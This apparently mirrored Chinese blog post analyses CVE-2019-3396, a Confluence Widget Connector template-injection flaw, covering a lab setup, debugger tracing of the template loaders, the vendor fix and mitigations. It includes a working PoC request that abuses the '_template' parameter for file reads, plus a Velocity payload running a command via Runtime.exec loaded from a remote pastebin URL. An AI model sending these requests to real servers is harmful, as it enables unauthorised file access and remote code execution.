微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

confluence未授权模板注入/代码执行 cve-2019-3396

参考:
https://jira.atlassian.com/browse/CONFSERVER-57974
https://github.com/kNownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py
https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-sstI-and-RCE-in-Confluence-Server-via-Widget-Connector/
https://paper.seebug.org/884/

详情:
服务端模版注入(Server-side Template Injection,sstI),影响组件Widget Connector(小工具连接器)。
影响版本:

6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
影响组件:

Widget Connector <=3.1.3
修复版本
6.6.12
6.12.3
6.13.3
6.14.2
6.15.1

Poc

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: cqq.com:443
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/73.0.3670.0 Safari/537.36
Referer: https://cqq.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

或者改成file:///etc/passwd读取passwd文件。网上有可以读passwd文件的,但是在本地搭建环境没有成功读到/etc/passwd。后来发现是跟版本有关。在6.13.0不能读取,而在6.9.0可以读取。
6.13.0:

在这里插入图片描述在这里插入图片描述Failed-when-calling-cloud-apis-826874382.html

在这里插入图片描述文件包含,实现命令执行:
https://nosec.org/home/detail/2461.html
直接访问https页面内容为:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getmethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")

https://pastebin.com/raw/X3WwMHgS
VeLocity Template Language (VTL) Statement
模板语句的语法参考:https://veLocity.apache.org/engine/devel/user-guide.html

在这里插入图片描述

经过测试,不需要登录的Cookie也可以执行。

Conluence安装

$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.0.tar.gz
$ tar zxf atlassian-confluence-6.13.0.tar.gz
$ cd atlassian-confluence-6.13.0
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录,这里我设置为
#confluence.home=/home/cqq/confluence
$ vi ./conf/server.xml

将这段外的注释去掉,

<Connector port="8090" connectionTimeout="20000" redirectPort="8443"
                   maxThreads="48" minSpareThreads="10"
                   enableLookups="false" acceptCount="10" debug="0" URIEncoding="UTF-8"
                   protocol="org.apache.coyote.http11.Http11NioProtocol"/>

然后就可以启动

$ bin/start-confluence.sh

 

在这里插入图片描述在这里插入图片描述postgresql数据库/用户配置

之前都是安装MysqL比较多,这次换用postgresql。具体命令可参考:https://blog.csdn.net/zhangzeyuaaa/article/details/77941039

$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.

postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT

 

配置远程调试

在ubuntu上搭建运行环境,开启调试,
编辑bin/setenv.sh
添加

CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${CATALINA_OPTS}"  # for debug

然后再启动confluence:

bin/start-confluence.sh

然后在Mac上复制一份代码,导入IDEA,然后在IDEA中设置将widgetconnector-3.1.2.jar加入到Libraries中。这样中IDEA中这个jar包才可以展开!

在这里插入图片描述在这里插入图片描述触发位置

参考:https://confluence.atlassian.com/doc/widget-connector-macro-171180449.html
插入(+)=> 其他宏 => 小工具连接器

在这里插入图片描述在这里插入图片描述在这里插入图片描述功能时发的包里并没有_template参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。

在这里插入图片描述定位

定位一下,应该是这个jar包

confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.2.jar

 

在这里插入图片描述

通过在IDEA中跟踪调用栈,发现大量的Filter的doFilter方法,所以以后这种不必单个跟,只需要把断点加在关键位置即可。

代码追踪

atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-rest-module-3.4.12.jar!/com/atlassian/plugins/rest/module/RestDelegatingServletFilter.class的doFilter方法

在这里插入图片描述,会调用以下代码,返回的响应content-type为"text/plain"
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-6.9.0.jar!/com/atlassian/confluence/tinymceplugin/rest/MacroResource.class

在这里插入图片描述beddedHtml() 方法
等到程序停在断点处之后,跟踪一下调用栈,

在这里插入图片描述调用的是atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.classexecute()方法
WidgetMacro.java

在这里插入图片描述一个接口,DefaultRendererManager实现了它。
DefaultRendererManager.java

在这里插入图片描述beddedHtml(url,params);
WidgetRenderer是一个接口,而YoutubeRenderer类实现了它。
YoutubeRenderer.java

在这里插入图片描述

VeLocityRenderService是一个接口,DefaultVeLocityRenderService类实现类它。
DefaultVeLocityRenderService.java

在这里插入图片描述默认值:com/atlassian/confluence/extra/widgetconnector/templates/embed.vm
否则这里从POST请求中的_template的值取出来,传入template,然后将POST请求中的所有参数放入contextMap,然后调用getRenderedTemplate(template,contextMap);

在这里插入图片描述

然后调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/veLocity/VeLocityUtils.class的一系列方法,最终进入66行的

renderTemplateWithoutSwallowingErrors((String)templateName,context,writer);
  • 1

然后一路各种getTemplate(),来到
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/RuntimeInstance.class的getTemplate()方法

在这里插入图片描述

在这里插入图片描述内容写到writer中,然后在67行调用toString()方法将结果返回。

在这里插入图片描述

下面看66行renderTemplateWithoutSwallowingErrors执行的细节。
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/veLocity/ConfigurableResourceManager.class
的getResource()方法中,先

String resourceKey = resourceType + resourceName;   //1https://pastebin.com/raw/0Kj4aX8G
        Resource resource = this.globalCache.get(resourceKey); // 先从globalCache中找,结果没找到,返回null。

然后if (resource != null)判断失败,进入else逻辑,

resource = this.loadResource(resourceName,resourceType,encoding);  //resourceName的值为 https://pastebin.com/raw/0Kj4aX8G

 

在这里插入图片描述在这里插入图片描述一个ConfluenceVeLocityTemplateImpl返回,

在这里插入图片描述

然后设置其name为https://pastebin.com/raw/0Kj4aX8G
然后用四个Loader对resourceName进行轮番这样的:

InputStream resourceStream = resourceLoader.getResourceStream(resource.getName());

查询

在这里插入图片描述Locity.HibernateResourceLoader org.apache.veLocity.runtime.resource.loader.FileResourceLoader org.apache.veLocity.runtime.resource.loader.ClassPathResourceLoader com.atlassian.confluence.setup.veLocity.DynamicPluginResourceLoader

在atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/setup/veLocity/DecoratorName.class的isspaceDecoratorSource()方法中判断是否以@开头,

在这里插入图片描述

若不是,则进入stripLeadingSlash()

在这里插入图片描述在这里插入图片描述Locity/VeLocity13CompatibleResourceLoader.class
的getResourceStream()方法,返回null:

在这里插入图片描述

即,第一个com.atlassian.confluence.setup.veLocity.HibernateResourceLoader没有拿到东西;
接着往下,是第二个,org.apache.veLocity.runtime.resource.loader.FileResourceLoader

在这里插入图片描述一个File为/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/https:/pastebin.com/raw/0Kj4aX8G
最后抛出一个无法找到该文件的异常(因为有冒号,所以这个文件无法创建?):

在这里插入图片描述在这里插入图片描述

猜想如果这里是相对路径的文件应该就可以拿到了。同样可以得知,即便在请求中的_template参数值设置为/开头的绝对路径,//Todo,也可以正常地通过相对路径拿到文件内容
接着第三个,org.apache.veLocity.runtime.resource.loader.ClassPathResourceLoader
(虽然IDEA中反编译的代码顺序都错了,但是还是得硬着头发继续跟…)
进入

result = ClassUtils.getResourceAsstream(this.getClass(),name);

 

在这里插入图片描述在这里插入图片描述在这个Loader里执行了HTTP请求!
重新跟了一下,发现是在
atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsstream()方法

stream = url.openStream();

这句话,真正打开了一个TCP连接,并发送这个url的请求,并将返回的数据赋值给stream。

Calling url.openStream() initiates a new TCP connection to the server that the URL resolves to. An HTTP GET request is then sent over the connection. If all goes right (i.e.,200 OK),the server sends back the HTTP response message that carries the data payload that is served up at the specified URL. You then need to read the bytes from the InputStream that the openStream() method returns in order to retrieve the data payload into your program.

来源:https://stackoverflow.com/questions/2778312/how-does-java-url-openstream-work

在这里插入图片描述在这里插入图片描述

)
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/util/ClassUtils.class

在这里插入图片描述

在这里插入图片描述Locity/VeLocityUtils.class的renderTemplateWithoutSwallowingErrors(String templateName,Context context,Writer writer)传入templateName为https://pastebin.com/raw/0Kj4aX8G,执行

Template template = getTemplate(templateName);

拿到数据之后,赋值给template对象,接下来进行处理:

在这里插入图片描述

renderTemplateWithoutSwallowingErrors(template,writer);

具体的是这个方法

template.merge(context,writer);

这句话。
跟进

((SimpleNode)this.data).render(ica,writer);

调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/SimpleNode.class
的render()方法进行渲染(解析得到的模板内容
具体就是一些解析VTL语言表达式的详情了,

在这里插入图片描述一个com.atlassian.confluence.setup.veLocity.HibernateResourceLoader,依然返回null,然后是第二个org.apache.veLocity.runtime.resource.loader.FileResourceLoader,

在这里插入图片描述normalizePath()之后,变成了/file:/etc/passwd

inputStream = this.findTemplate(path,template);

 

在这里插入图片描述方法。
经过拼接之后,file的值变成了/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/file:/etc/passwd。这个file值不能canRead(),所以不能进入if (file.canRead()),直接返回null。

The canRead()function is a part of File class in Java . This function determines whether the program can read the file denoted by the abstract path name.The function returns true if the abstract file path exists and the application is allowed to read the file.

在这里插入图片描述在这里插入图片描述

然后是第三个,org.apache.veLocity.runtime.resource.loader.ClassPathResourceLoader,

在这里插入图片描述nes/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/ClassLoader.java

在这里插入图片描述sstream()

在这里插入图片描述在这里插入图片描述

在这里插入图片描述Felix.framework-4.2.1.jar!/org/apache/Felix/framework/URLHandleRSStreamHandlerProxy.class的openConnection()

在这里插入图片描述内容写到writer中,

在这里插入图片描述

对于../web.xml的payload,

在这里插入图片描述在这里插入图片描述Locity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/SimpleNode.class的

在这里插入图片描述Locity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/ASTSetDirective.class的render()方法

在这里插入图片描述Locity.runtime.parser.node.ASTReference
this.right为org.apache.veLocity.runtime.parser.node.ASTExpression
执行命令的过程就是一直调用org.apache.veLocity.runtime.parser.node.ASTReferenceexecute()方法的过程。

官方修复

下载atlassian-confluence-6.13.2(存在漏洞版)和atlassian-confluence-6.13.3(修复版)
提取其中的widgetconnector-3.1.3.jar和widgetconnector-3.1.4.jar,用jd导出java代码,然后用icdiff进行对比。(论好的diff工具的重要性!)

icdiff widgetconnector-3.1.3/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java widgetconnector-3.1.4/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java

 

在这里插入图片描述一个列表,这个列表里有一个字符串,_template,对于HTTP POST请求过来的参数parameter上进行解析时,去除_template这个字段,从而杜绝了从_template字段进行模板注入的风险。#Todo 对比其他jar包,查找有没有关于此漏洞或者其他方面的发现。

缓解措施

禁用几个插件升级,然后重新开启。如果不能升级的话,就只能防火墙拦截了。

在这里插入图片描述文件,可能是因为其使用了tomcat 9,导致classloader不一样。参考:
https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/#3-3-6-6-x-6-9-x%E4%B8%8E6-14-1%E7%9A%84%E5%8C%BA%E5%88%AB

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐